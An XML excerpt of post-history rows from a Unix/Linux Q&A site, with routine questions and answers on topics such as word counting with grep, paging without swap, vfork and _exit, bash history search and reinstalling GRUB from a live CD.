  <row Id="11889" PostHistoryTypeId="1" PostId="5343" RevisionGUID="ae20bf70-b6fe-4e7a-b34b-d8dd2daaed49" CreationDate="2011-01-02T20:17:15.210" UserId="1535" Text="power management of USB-enclosed hard drives" />
  <row Id="11890" PostHistoryTypeId="3" PostId="5343" RevisionGUID="ae20bf70-b6fe-4e7a-b34b-d8dd2daaed49" CreationDate="2011-01-02T20:17:15.210" UserId="1535" Text="élinuxàéubuntuàépowerömanagementàéexternalöhddàéusbödriveà" />
  <row Id="11891" PostHistoryTypeId="2" PostId="5344" RevisionGUID="69f6b313-dc0b-45c6-8f84-41a6fbd2b161" CreationDate="2011-01-02T23:40:52.380" UserId="3419" Text="Greetings, I've tried putting this into configuration to fix symlinks for windows for my setup , but I am not sure if it will affect windows client, otherwise it follows symlinks when I connect to this box. &#xD;&#xA;&#xD;&#xA;[global]                                                                        &#xD;&#xA;unix extensions = no&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11892" PostHistoryTypeId="2" PostId="5345" RevisionGUID="f2e1cc70-688e-43f3-b996-4c6fa3e6891a" CreationDate="2011-01-02T23:47:51.363" UserId="3419" Text="Well, usually you can set this temperature in the BIOS settings and it depends on the CPU type - I presume your CPU is getting hot, not some other hardware part.&#xD;&#xA;If you are running linux, you can always construct some script reading out temperatures from /proc/acpi/... files - you can find temperature information there on some systems.&#xD;&#xA;Or you can use software like Lm_sensors which can also find temperature sensors. &#xD;&#xA;Then I guess you could construct script which reads out temperature and issue sync and shutdown early to avoid hard crash." />
  <row Id="11893" PostHistoryTypeId="2" PostId="5346" RevisionGUID="7e65d0d8-212a-4130-8d14-ab03659cf0e0" CreationDate="2011-01-03T05:11:35.600" UserId="3371" Text="I'm looking for an editor that will open the file in chunks (not try to read the whole file into memory) as I'm trying to hand-edit a 200G file.&#xD;&#xA;" />
  <row Id="11894" PostHistoryTypeId="1" PostId="5346" RevisionGUID="7e65d0d8-212a-4130-8d14-ab03659cf0e0" CreationDate="2011-01-03T05:11:35.600" UserId="3371" Text="What linux editor can open a 200G file for editing within a minute or two?" />
  <row Id="11895" PostHistoryTypeId="3" PostId="5346" RevisionGUID="7e65d0d8-212a-4130-8d14-ab03659cf0e0" CreationDate="2011-01-03T05:11:35.600" UserId="3371" Text="élargeöfilesà" />
  <row Id="11896" PostHistoryTypeId="6" PostId="5346" RevisionGUID="4784ab5b-0635-4fd8-a80b-28d1a7eb2e58" CreationDate="2011-01-03T05:51:49.947" UserId="73" Comment="edited tags" Text="ésoftwareörecàéeditorsàélargeöfilesà" />
  <row Id="11897" PostHistoryTypeId="2" PostId="5347" RevisionGUID="d4e197b2-3f8f-43f1-8a6f-e6b4d6bfdc63" CreationDate="2011-01-03T06:04:17.137" UserId="3309" Text="This may not be exactly what you're looking for, but hexedit will open large files like that. It only has what's displayed in the buffer (and maybe a little bit more) in memory. It's made for editing raw disk files (e.g., /dev/sda) and will display in hex side by side with ASCII or EBCDIC." />
  <row Id="11898" PostHistoryTypeId="2" PostId="5348" RevisionGUID="821423a0-c131-4008-930c-f22176a1ab19" CreationDate="2011-01-03T06:12:42.587" UserId="3309" Text="Have you tried [openproj][1]? I have never used it myself, but that's the closest that I know of.&#xD;&#xA;&#xD;&#xA;  [1]: http://openproj.org/openproj" />
  <row Id="11899" PostHistoryTypeId="2" PostId="5349" RevisionGUID="7eaa2f8e-b191-4b0d-baa7-bbe0d408fbbb" CreationDate="2011-01-03T07:10:09.917" UserId="1608" Text="As i have used the below command, i know how do i count the no. of words from a file:&#xD;&#xA;&#xD;&#xA;     tr ' ' '\n' &lt; Filename | grep -c &quot;WORD&quot;&#xD;&#xA;&#xD;&#xA;This returns me the Word list with counter.&#xD;&#xA;&#xD;&#xA;But **`how do i count no. of words of particular length from a particular file?`** &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;      tempfile&#xD;&#xA;      ----------&#xD;&#xA;      employee paresh emp employee jayesh hitesh&#xD;&#xA;        &#xD;&#xA;&#xD;&#xA;If when i run the shell script, it should display/count 6 length words (paresh jayesh hitesh and counter=3). Please provide me suggestions to do so. &#xD;&#xA;&#xD;&#xA;Thanx" />
  <row Id="11900" PostHistoryTypeId="1" PostId="5349" RevisionGUID="7eaa2f8e-b191-4b0d-baa7-bbe0d408fbbb" CreationDate="2011-01-03T07:10:09.917" UserId="1608" Text="Unix - Count no. of words of particular length from a File" />
  <row Id="11901" PostHistoryTypeId="3" PostId="5349" RevisionGUID="7eaa2f8e-b191-4b0d-baa7-bbe0d408fbbb" CreationDate="2011-01-03T07:10:09.917" UserId="1608" Text="éshellàéunixàéshellöscriptà" />
  <row Id="11902" PostHistoryTypeId="5" PostId="5336" RevisionGUID="5def354c-7cc4-4637-bbb4-18eed25b34c9" CreationDate="2011-01-03T07:17:39.777" UserId="2871" Comment="added 395 characters in body" Text="How is paging managed in the absence of swapping. If that is the case, how will a page fault be managed?  &#xD;&#xA;&#xD;&#xA;What I meant is, if there is no availability for swapping, then how is Paging managed. I know that there will be two list of pages - free_pages list and allocated_pages list. When the pages in the free_pages list becomes low, it will move the LRU pages from the allocated_pages list to the swap partition. I just want to know what will happen if there is no swap partition.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11903" PostHistoryTypeId="5" PostId="5349" RevisionGUID="a143bfe4-9291-49a5-99f1-d109e9a1cf60" CreationDate="2011-01-03T07:21:26.480" UserId="73" Comment="deleted 49 characters in body" Text="I've used the below command to count the number of words in a file:&#xD;&#xA;&#xD;&#xA;    tr ' ' '\n' &lt; Filename | grep -c &quot;WORD&quot;&#xD;&#xA;&#xD;&#xA;This returns the word list with counter. Now I want to count the number of words of a particular length. For example, given a file with these contents:&#xD;&#xA;&#xD;&#xA;    employee paresh emp employee jayesh hitesh&#xD;&#xA;        &#xD;&#xA;&#xD;&#xA;When I run the shell script with argument `6`, it should display/count words with 6 characters (`paresh`, `jayesh`, and `hitesh`, with count `3`). How can I do that?" />
  <row Id="11904" PostHistoryTypeId="2" PostId="5350" RevisionGUID="b2e65b50-31af-49bf-b8db-03c49d0036d8" CreationDate="2011-01-03T07:23:40.627" UserId="73" Text="If you grep for the regular expression `^.{6}$` it will return lines with exactly six characters:&#xD;&#xA;&#xD;&#xA;    $ tr ' ' '\n' &lt; Filename | grep '^.\{6\}$'&#xD;&#xA;    paresh&#xD;&#xA;    jayesh&#xD;&#xA;    hitesh&#xD;&#xA;&#xD;&#xA;    $ tr ' ' '\n' &lt; Filename | grep -c '^.\{6\}$'&#xD;&#xA;    3&#xD;&#xA;" />
  <row Id="11905" PostHistoryTypeId="2" PostId="5351" RevisionGUID="8b8f41f0-95fb-43bc-a00b-3e30a874f869" CreationDate="2011-01-03T09:58:33.553" UserId="3425" Text="I'd like to install Ubuntu (Desktop or netbook edition, preferably latest version), onto a laptop using a small USB stick. (480 MB free space.)&#xD;&#xA;&#xD;&#xA;How can I do this?" />
  <row Id="11906" PostHistoryTypeId="1" PostId="5351" RevisionGUID="8b8f41f0-95fb-43bc-a00b-3e30a874f869" CreationDate="2011-01-03T09:58:33.553" UserId="3425" Text="Install Ubuntu from a small USB stick" />
  <row Id="11907" PostHistoryTypeId="3" PostId="5351" RevisionGUID="8b8f41f0-95fb-43bc-a00b-3e30a874f869" CreationDate="2011-01-03T09:58:33.553" UserId="3425" Text="éubuntuà" />
  <row Id="11908" PostHistoryTypeId="2" PostId="5352" RevisionGUID="4b2c5b44-9a0f-45bc-9a75-b3e41dd33c69" CreationDate="2011-01-03T10:05:23.830" UserId="3198" Text="There is a dedicated article on this:&#xD;&#xA;&#xD;&#xA;https://help.ubuntu.com/community/Installation/FromUSBStick&#xD;&#xA;&#xD;&#xA;In brief:&#xD;&#xA;&#xD;&#xA; - Download the ISO.&#xD;&#xA; - Download UnetBootin http://unetbootin.sourceforge.net/&#xD;&#xA; - Burn the ISO to your USB using UnetBootin. Your USB will become a&#xD;&#xA;   liveUSB from which you can boot.&#xD;&#xA; - Boot the system using USB and choose Install." />
  <row Id="11909" PostHistoryTypeId="2" PostId="5353" RevisionGUID="16780fc2-a372-4419-a298-a5381c6052a5" CreationDate="2011-01-03T10:29:17.813" UserId="3419" Text="I am sorry for not directly answering this one - I've got that module up and running with apache, but unfortunately on debian linux, so the packages are different, and perhaps you need to find correct packages for you as well (maybe download the files manually and then install them from files via &quot;rpm -i *filename*&quot;).&#xD;&#xA;&#xD;&#xA;Anyway, I wanted to point out maybe a more plug and play solution for apache ... check out [xmoovstream][1] - it's doing the same job, but runs on php so it should work with your apache as well ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stream.xmoov.com &quot;xmoovstream&quot;" />
  <row Id="11910" PostHistoryTypeId="2" PostId="5354" RevisionGUID="df8266f1-9140-4125-844a-663476799769" CreationDate="2011-01-03T10:37:19.447" UserId="2871" Text="Hi,  &#xD;&#xA;&#xD;&#xA;You can install a command line (CLI) Ubuntu using the Alternate Install or Mini iso (which should fit on your 512mb stick)  &#xD;&#xA;&#xD;&#xA;Then install Crunchbang using the alternate method: http://crunchbanglinux.org/forums/topic/26/crunchbang-linux-81001-alternative-installation/&#xD;&#xA;&#xD;&#xA;You could also try the Lite version of CrunchBang, which is less than 512mb.&#xD;&#xA;&#xD;&#xA;You could use Unetbootin to prepare the USB stick." />
  <row Id="11911" PostHistoryTypeId="2" PostId="5355" RevisionGUID="bc6fccfd-5f69-48dd-9670-1aa66aad129c" CreationDate="2011-01-03T10:38:50.277" UserId="2594" Text="If I understand correctly your question, you are asking how pagination occurs if no swap space is defined. My understanding is no page faults can occur in such a situation as virtual memory is always backed by physical RAM. The only exception would be if you use an overcommitting OS in which case the first access to an unmapped page while no more RAM is available would trigger the OOM killer or some other destructive event." />
  <row Id="11912" PostHistoryTypeId="2" PostId="5356" RevisionGUID="f1ecedc9-ae5b-4b64-a8e2-e7c08a87c0e3" CreationDate="2011-01-03T11:21:51.017" UserId="2993" Text="I have a 64-bit Sabayon Linux and Mac OS X dual boot. After using gparted to resize my partitions, I can no longer boot Sabayon.  I've tried chrooting and fixing grub from several live CDs, but they have all said &quot;command not found&quot; about either grub or chroot. Knoppix came close but then said it couldn't restore grub because it's 32 bits, rather than 64 like my Sabayon installation. Tips?" />
  <row Id="11913" PostHistoryTypeId="1" PostId="5356" RevisionGUID="f1ecedc9-ae5b-4b64-a8e2-e7c08a87c0e3" CreationDate="2011-01-03T11:21:51.017" UserId="2993" Text="Having trouble reinstalling Grub from live CD" />
  <row Id="11914" PostHistoryTypeId="3" PostId="5356" RevisionGUID="f1ecedc9-ae5b-4b64-a8e2-e7c08a87c0e3" CreationDate="2011-01-03T11:21:51.017" UserId="2993" Text="égrubàégentooàédualöbootàélivecdà" />
  <row Id="11915" PostHistoryTypeId="2" PostId="5357" RevisionGUID="5496d32d-7203-47b4-a819-4c9eaf31c87d" CreationDate="2011-01-03T11:26:55.130" UserId="3427" Text="This can be archiev very easy with PXE boot. i am running a live xbmc system over pxe tftp nfs boot. changes are written with COW to NFS share." />
  <row Id="11916" PostHistoryTypeId="5" PostId="5290" RevisionGUID="cc79fe36-5306-4985-9a74-dfa23eb40882" CreationDate="2011-01-03T11:33:00.317" UserId="688" Comment="get more specific" Text="[An explanation][1] of what Resource leveling is.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Resource_leveling" />
  <row Id="11917" PostHistoryTypeId="4" PostId="5290" RevisionGUID="cc79fe36-5306-4985-9a74-dfa23eb40882" CreationDate="2011-01-03T11:33:00.317" UserId="688" Comment="get more specific" Text="Is there any Project Management FLOSS that has Resource leveling?" />
  <row Id="11918" PostHistoryTypeId="2" PostId="5358" RevisionGUID="b992e59a-3e18-4d35-9e8a-cf5df4a48721" CreationDate="2011-01-03T11:38:06.130" UserId="2993" Text="I like [TagTool][1] and [id3tool][2]. Both are for the command line. I also find Picard useful for music files that exist in the MusicBrainz database.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tagtool.org/&#xD;&#xA;  [2]: http://nekohako.xware.cx/id3tool/" />
  <row Id="11919" PostHistoryTypeId="2" PostId="5359" RevisionGUID="054e45b2-eb1d-4fcc-8b6a-c973c296df2b" CreationDate="2011-01-03T11:46:32.953" UserId="2993" Text="My favorite is the &quot;`dict`&quot; command. It doesn't pronounce words aloud, but it will give you the written pronunciation. I'd also recommend [StarDict][1], which has a GUI.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/stardict/" />
  <row Id="11920" PostHistoryTypeId="2" PostId="5360" RevisionGUID="b3ab68b7-0813-4a69-8f1c-66b52128b800" CreationDate="2011-01-03T12:03:55.630" UserId="2274" Text="ZFS Fuse indeed works.&#xD;&#xA;&#xD;&#xA;CAVEAT:  Make sure that the 'other' operating systems you'll use the drive for supports the same version the ZFS Fuse - BSD usually runs a couple of versions later than the Linux ones." />
  <row Id="11921" PostHistoryTypeId="2" PostId="5361" RevisionGUID="ffdae674-39b2-4c15-b1b8-8fd5e5ece938" CreationDate="2011-01-03T12:05:59.327" UserId="2274" Text="Ok. &#xD;&#xA;&#xD;&#xA;I get about 1/3 of the speed on the same drives when using ZFS.&#xD;&#xA;&#xD;&#xA;Now, I understand that ZFS is self-healing and that everything is also stored with its hashes. This makes it safer to use.&#xD;&#xA;&#xD;&#xA;I haven't used raidz yet, so this excludes that part of the equation - but please tell me if by using raidz I can speed things up.&#xD;&#xA;&#xD;&#xA;If the hashes are computed for comparison - where and when does this happen.&#xD;&#xA;&#xD;&#xA;Where does the speed issue come into play?&#xD;&#xA;&#xD;&#xA;I'm happy now that I have mirrored and safe data, on my system, but would like to know how I can tweak performance.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11922" PostHistoryTypeId="1" PostId="5361" RevisionGUID="ffdae674-39b2-4c15-b1b8-8fd5e5ece938" CreationDate="2011-01-03T12:05:59.327" UserId="2274" Text="Compared to other filesystems why is ZFS so slow, with incoming data?" />
  <row Id="11923" PostHistoryTypeId="3" PostId="5361" RevisionGUID="ffdae674-39b2-4c15-b1b8-8fd5e5ece938" CreationDate="2011-01-03T12:05:59.327" UserId="2274" Text="éfilesystemsàézfsà" />
  <row Id="11924" PostHistoryTypeId="2" PostId="5362" RevisionGUID="da2597de-4dee-4176-b548-d0cb0d2316ef" CreationDate="2011-01-03T14:00:48.433" UserId="305" Text="As far as I understand your question it happens usually in such way:&#xD;&#xA;&#xD;&#xA;If you allocate memory:&#xD;&#xA;&#xD;&#xA; - Mark memory as allocated but don't allocate physical memory (hence on access there will be page fault). In Linux it stops at this stage but it is possible that system may allocate physical space immanently - then go to page fault.&#xD;&#xA;&#xD;&#xA;If there is page fault (accessing not mapped page)&#xD;&#xA;&#xD;&#xA; 1. Check if memory is allocated, if not return error.&#xD;&#xA; 2. Check if there is free physical page. If there is goto 5&#xD;&#xA; 3. Check if there is part that can be written back to disk (like file from cache) or if there is free space on swap (if there is no swap consider it as swap of size 0). If there is write file/block back to disk or write page to disk, then unmap it and goto 5. If both are possible choose any.&#xD;&#xA; 4. Return OOM condition. It depends on kernel what happens - it may display error to user, kernel panic/blue screen, find some process to kill etc.&#xD;&#xA; 5. Map the page that caused the problem to freed page. If page was swapped read page from swap and put it in page. If page is backed by file read file and put content there.&#xD;&#xA;&#xD;&#xA;In general you may say that no swap is equivalent to full swap." />
  <row Id="11925" PostHistoryTypeId="2" PostId="5363" RevisionGUID="468d98cc-e7f2-4dba-90d7-0319b8a1ae6c" CreationDate="2011-01-03T14:17:07.533" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to understand in detail how to reuse Physical memory in the absence of swapping.  &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11926" PostHistoryTypeId="1" PostId="5363" RevisionGUID="468d98cc-e7f2-4dba-90d7-0319b8a1ae6c" CreationDate="2011-01-03T14:17:07.533" UserId="2871" Text="How to reuse Physical memory in the absence of swapping?" />
  <row Id="11927" PostHistoryTypeId="3" PostId="5363" RevisionGUID="468d98cc-e7f2-4dba-90d7-0319b8a1ae6c" CreationDate="2011-01-03T14:17:07.533" UserId="2871" Text="élinuxàémemoryàéswapàéphysicalà" />
  <row Id="11928" PostHistoryTypeId="5" PostId="5363" RevisionGUID="fb0e95d3-9ed9-4aa0-bdd6-441b6065b378" CreationDate="2011-01-03T14:25:57.623" UserId="73" Comment="deleted 68 characters in body" Text="How can I reuse physical memory in the absence of swapping?&#xD;&#xA;" />
  <row Id="11929" PostHistoryTypeId="2" PostId="5364" RevisionGUID="a74d310c-cb14-46ea-beae-8bbf9c2b1114" CreationDate="2011-01-03T14:45:45.163" UserId="2871" Text="Hi All,  &#xD;&#xA;From the man page of vfork(): &#xD;&#xA;&#xD;&#xA;&gt; vfork() differs from fork() in that&#xD;&#xA;&gt; the parent is suspended until the&#xD;&#xA;&gt; child makes a call to execve(2) or&#xD;&#xA;&gt; _exit(2).  The child shares all memory with its parent, including the stack,&#xD;&#xA;&gt; until execve() is issued by the child.&#xD;&#xA;&gt; The  child  must not return from the&#xD;&#xA;&gt; current function or call exit(), but&#xD;&#xA;&gt; may call _exit().&#xD;&#xA;&#xD;&#xA;I just want to know why should the child use an _exit() rather than simply calling exit()?  &#xD;&#xA;Hope this is applicable to both vfork() and fork(). &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11930" PostHistoryTypeId="1" PostId="5364" RevisionGUID="a74d310c-cb14-46ea-beae-8bbf9c2b1114" CreationDate="2011-01-03T14:45:45.163" UserId="2871" Text="Why should a child of a vfork or fork call _exit() instead of exit() ?" />
  <row Id="11931" PostHistoryTypeId="3" PostId="5364" RevisionGUID="a74d310c-cb14-46ea-beae-8bbf9c2b1114" CreationDate="2011-01-03T14:45:45.163" UserId="2871" Text="éforkàévforkàéexità" />
  <row Id="11932" PostHistoryTypeId="5" PostId="5355" RevisionGUID="6a60ec1e-4dd2-4126-9ff9-db68457760c2" CreationDate="2011-01-03T14:50:52.177" UserId="305" Comment="added 1 characters in body" Text="If I understand correctly your question, you are asking how pagination occurs if no swap space is defined. My understanding is no page faults can occur in such a situation as virtual memory is always backed by physical RAM. The only exception would be if you use an overcommitting OS in which case the first access to an unmapped page while no more RAM is available would trigger the OOM killer or some other destructive event. " />
  <row Id="11933" PostHistoryTypeId="5" PostId="5364" RevisionGUID="aa29554d-0723-4df8-a68b-cfe5fd5587d0" CreationDate="2011-01-03T14:59:46.893" UserId="73" Comment="deleted 22 characters in body; deleted 19 characters in body" Text="From the man page of `vfork()`: &#xD;&#xA;&#xD;&#xA;&gt; vfork() differs from fork() in that&#xD;&#xA;&gt; the parent is suspended until the&#xD;&#xA;&gt; child makes a call to execve(2) or&#xD;&#xA;&gt; _exit(2).  The child shares all memory with its parent, including the stack,&#xD;&#xA;&gt; until execve() is issued by the child.&#xD;&#xA;&gt; The  child  must not return from the&#xD;&#xA;&gt; current function or call exit(), but&#xD;&#xA;&gt; may call _exit().&#xD;&#xA;&#xD;&#xA;Why should the child use an `_exit()` rather than simply calling `exit()`? I hope this is applicable to both `vfork()` and `fork()`. &#xD;&#xA;" />
  <row Id="11934" PostHistoryTypeId="2" PostId="5365" RevisionGUID="d53b2ca3-539f-4c70-b111-c0461bac3c2b" CreationDate="2011-01-03T15:43:04.843" UserId="305" Text="`exit` do additional cleanup like calling functions registered by `atexit` hence it access data outside copied part. `_exit` performs syscall directly w/out any cleanup except in-kernel." />
  <row Id="11935" PostHistoryTypeId="5" PostId="5362" RevisionGUID="f396f03b-59cf-425c-9df3-abfb175c9637" CreationDate="2011-01-03T15:48:59.377" UserId="305" Comment="added 1 characters in body; added 77 characters in body" Text="As far as I understand your question it happens usually in such way:&#xD;&#xA;&#xD;&#xA;If you allocate memory:&#xD;&#xA;&#xD;&#xA; - Mark memory as allocated but don't allocate physical memory (hence on access there will be page fault). In Linux it stops at this stage but it is possible that system may allocate physical space immediately - then it performs similar algorithm at the end as on page fault except that the OOM will not happen.&#xD;&#xA;&#xD;&#xA;If there is page fault (accessing not mapped page)&#xD;&#xA;&#xD;&#xA; 1. Check if memory is allocated, if not return error.&#xD;&#xA; 2. Check if there is free physical page. If there is goto 5&#xD;&#xA; 3. Check if there is part that can be written back to disk (like file from cache) or if there is free space on swap (if there is no swap consider it as swap of size 0). If there is write file/block back to disk or write page to disk, then unmap it and goto 5. If both are possible choose any.&#xD;&#xA; 4. Return OOM condition. It depends on kernel what happens - it may display error to user, kernel panic/blue screen, find some process to kill etc.&#xD;&#xA; 5. Map the page that caused the problem to freed page. If page was swapped read page from swap and put it in page. If page is backed by file read file and put content there.&#xD;&#xA;&#xD;&#xA;In general you may say that no swap is equivalent to full swap." />
  <row Id="11936" PostHistoryTypeId="2" PostId="5366" RevisionGUID="8257e089-c5ea-4c46-aadb-dd8844e79237" CreationDate="2011-01-03T15:50:53.307" UserId="3429" Text="So, I've looked at history and at Ctrl+D, but they are not what I thought I knew.&#xD;&#xA;Is there a way that I can type in the beginning of a command, and cycle through the matches in my history with some bash shortcut?&#xD;&#xA;&#xD;&#xA;    # mysq(some shortcut key)&#xD;&#xA;&#xD;&#xA;Gives me:&#xD;&#xA;&#xD;&#xA;    # mysqldump  --add-drop-table -e -q -n -C -u &#xD;&#xA;    (some shortcut key)&#xD;&#xA;    #  mysql -u ben.dauphinee -p" />
  <row Id="11937" PostHistoryTypeId="1" PostId="5366" RevisionGUID="8257e089-c5ea-4c46-aadb-dd8844e79237" CreationDate="2011-01-03T15:50:53.307" UserId="3429" Text="Command Line Completion From History" />
  <row Id="11938" PostHistoryTypeId="3" PostId="5366" RevisionGUID="8257e089-c5ea-4c46-aadb-dd8844e79237" CreationDate="2011-01-03T15:50:53.307" UserId="3429" Text="ébashàécommandöhistoryàéautocompleteà" />
  <row Id="11939" PostHistoryTypeId="2" PostId="5367" RevisionGUID="35c0cf70-a87c-45ac-8481-038ec902ef8e" CreationDate="2011-01-03T15:58:45.883" UserId="3069" Text="Pressing Ctrl+R will open the reverse history search. Now start typing your command, this will give the first match.&#xD;&#xA;By pressing Ctrl+R again (and again) you can cycle through the history.&#xD;&#xA;&#xD;&#xA;    mysq(Ctrl+R)&#xD;&#xA;&#xD;&#xA;Would give:&#xD;&#xA;&#xD;&#xA;    mysqldump  --add-drop-table -e -q -n -C -u &#xD;&#xA;&#xD;&#xA;Ctrl+R again:&#xD;&#xA;&#xD;&#xA;    mysql -u ben.dauphinee -p&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11940" PostHistoryTypeId="5" PostId="5366" RevisionGUID="b7ac2f19-13e8-4209-9528-ba77432aac94" CreationDate="2011-01-03T16:02:06.667" UserId="3429" Comment="edited body" Text="So, I've looked at history and at Ctrl+R, but they are not what I thought I knew.&#xD;&#xA;Is there a way that I can type in the beginning of a command, and cycle through the matches in my history with some bash shortcut?&#xD;&#xA;&#xD;&#xA;    # mysq(some shortcut key)&#xD;&#xA;&#xD;&#xA;Gives me:&#xD;&#xA;&#xD;&#xA;    # mysqldump  --add-drop-table -e -q -n -C -u &#xD;&#xA;    (some shortcut key)&#xD;&#xA;    #  mysql -u ben.dauphinee -p" />
  <row Id="11941" PostHistoryTypeId="5" PostId="5366" RevisionGUID="aa9ba673-0727-4d12-b3fa-133c131ce9d5" CreationDate="2011-01-03T16:03:17.017" UserId="73" Comment="added 22 characters in body" Text="So, I've looked at history and at &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, but they are not what I thought I knew.&#xD;&#xA;Is there a way that I can type in the beginning of a command, and cycle through the matches in my history with some bash shortcut?&#xD;&#xA;&#xD;&#xA;    # mysq(some shortcut key)&#xD;&#xA;&#xD;&#xA;Gives me:&#xD;&#xA;&#xD;&#xA;    # mysqldump  --add-drop-table -e -q -n -C -u &#xD;&#xA;    (some shortcut key)&#xD;&#xA;    #  mysql -u ben.dauphinee -p" />
  <row Id="11942" PostHistoryTypeId="5" PostId="5367" RevisionGUID="2873fff4-e599-4b3d-906f-81a3d112fa9c" CreationDate="2011-01-03T16:03:47.703" UserId="73" Comment="added 66 characters in body" Text="Pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; will open the reverse history search. Now start typing your command, this will give the first match.&#xD;&#xA;By pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; again (and again) you can cycle through the history.&#xD;&#xA;&#xD;&#xA;    mysq(Ctrl+R)&#xD;&#xA;&#xD;&#xA;Would give:&#xD;&#xA;&#xD;&#xA;    mysqldump  --add-drop-table -e -q -n -C -u &#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; again:&#xD;&#xA;&#xD;&#xA;    mysql -u ben.dauphinee -p&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11943" PostHistoryTypeId="2" PostId="5368" RevisionGUID="ab884f20-9858-4470-be34-8b54b4b121d3" CreationDate="2011-01-03T17:02:00.257" UserId="2287" Text="Problem may be in ubuntu patches to kernel. Try a vanilla kernel or another distro.&#xD;&#xA;&#xD;&#xA;@fschmitt no it's not grub2, i'm using it on arch with KMS and vgaswitcheroo" />
  <row Id="11945" PostHistoryTypeId="2" PostId="5369" RevisionGUID="a277caf2-213d-4a6c-8766-bb4015296883" CreationDate="2011-01-03T17:16:51.613" UserId="2287" Text="It's a wrong setup of GRUB. Reinstall it on ssd, using uuids for booting from SD and you'll be ok.&#xD;&#xA;&#xD;&#xA;I recommend you to install grub2 though, because it handles these situations better." />
  <row Id="11946" PostHistoryTypeId="2" PostId="5370" RevisionGUID="53b03f26-b61c-42f1-8b02-86488a97ad0b" CreationDate="2011-01-03T17:21:11.763" UserId="2287" Text="Try archlinux live discs, they surely have chroot working (repaired my systems several times with them).&#xD;&#xA;&#xD;&#xA;Find the ISOs [here][1]&#xD;&#xA;&#xD;&#xA;I reccomend &quot;dual&quot;, as they have 32 and 64 bit versions of archlinux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mirrors.kernel.org/archlinux/iso/" />
  <row Id="11947" PostHistoryTypeId="2" PostId="5371" RevisionGUID="d3db12bb-d30d-4faf-82c9-5430e1406ba0" CreationDate="2011-01-03T17:31:56.830" UserId="3432" Text="you can install grub from live distro without chrooting:&#xD;&#xA;&#xD;&#xA;    grub-install /dev/hda --root-directory=/mnt/guest/" />
  <row Id="11948" PostHistoryTypeId="5" PostId="513" RevisionGUID="2ed3b952-b44f-4280-a6f2-52add0cbd6e5" CreationDate="2011-01-03T18:04:47.480" UserId="1974" Comment="Corrected a typo" Text="Not really my moment, but someone else's.&#xD;&#xA;&#xD;&#xA;Back when I worked at a nuclear sciences research facility we used to run a number of SunOS, Ultrix and Linux computers and researchers had to share the CPU on those machines.   As individual research groups got their own research grants they purchased their own computers, mostly SparcStations and they did the system administration themselves.&#xD;&#xA;&#xD;&#xA;SunOS used to ship with the OpenView desktop and a nice file manager, this is what it looked like:&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Most of our researchers were running as root, and more than once we had to reinstall their operating systems because someone had decided to tidy-up the root directory and moved /bin, /etc, /tmp and everything else that cluttered the view into either the Trashcan or some subfolder.&#xD;&#xA;&#xD;&#xA;Other users chose to tidy up the /bin directory and remove any command they did not know.   &#xD;&#xA;&#xD;&#xA;The lucky ones had back ups, most had purchased a tape drive, but did not have a tradition of running backups themselves.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/bMLOD.png" />
  <row Id="11949" PostHistoryTypeId="5" PostId="855" RevisionGUID="79c495a3-0e76-4172-aedd-31b17461a528" CreationDate="2011-01-03T18:12:20.487" UserId="1974" Comment="added 4 characters in body" Text="I meant well, I really did. Trying to chmod recursively a directory and ended up swapping `./` with `/`.&#xD;&#xA;&#xD;&#xA;As root of course, because only with root can true pain (and thus enlightenment) be achieved.&#xD;&#xA;" />
  <row Id="11950" PostHistoryTypeId="2" PostId="5372" RevisionGUID="0a737bf4-2d4b-45de-ae7d-1b7b1dd34526" CreationDate="2011-01-03T18:20:15.757" UserId="1974" Text="I am using Ubuntu 10.10 on my laptop, which connects to our network wirelessly. Since it sits on my desk next to my desktop, I have a private network between the two using a firewire cable, because `synergy` and file copies are much more plesant over firewire than wifi.&#xD;&#xA;&#xD;&#xA;I want to set a static IP for the `firewire` device on boot so I don't have to keep using `ifconfig` each time. However the device doesn't appear in Gnome's NetworkManager. How can I set a static IP for the firewire device? Terminal commands are fine, as long as NetworkManager won't blow the config away." />
  <row Id="11951" PostHistoryTypeId="1" PostId="5372" RevisionGUID="0a737bf4-2d4b-45de-ae7d-1b7b1dd34526" CreationDate="2011-01-03T18:20:15.757" UserId="1974" Text="Under Ubuntu, how do I set a static IP for firewire?" />
  <row Id="11952" PostHistoryTypeId="3" PostId="5372" RevisionGUID="0a737bf4-2d4b-45de-ae7d-1b7b1dd34526" CreationDate="2011-01-03T18:20:15.757" UserId="1974" Text="éubuntuàénetworkingàéfirewireà" />
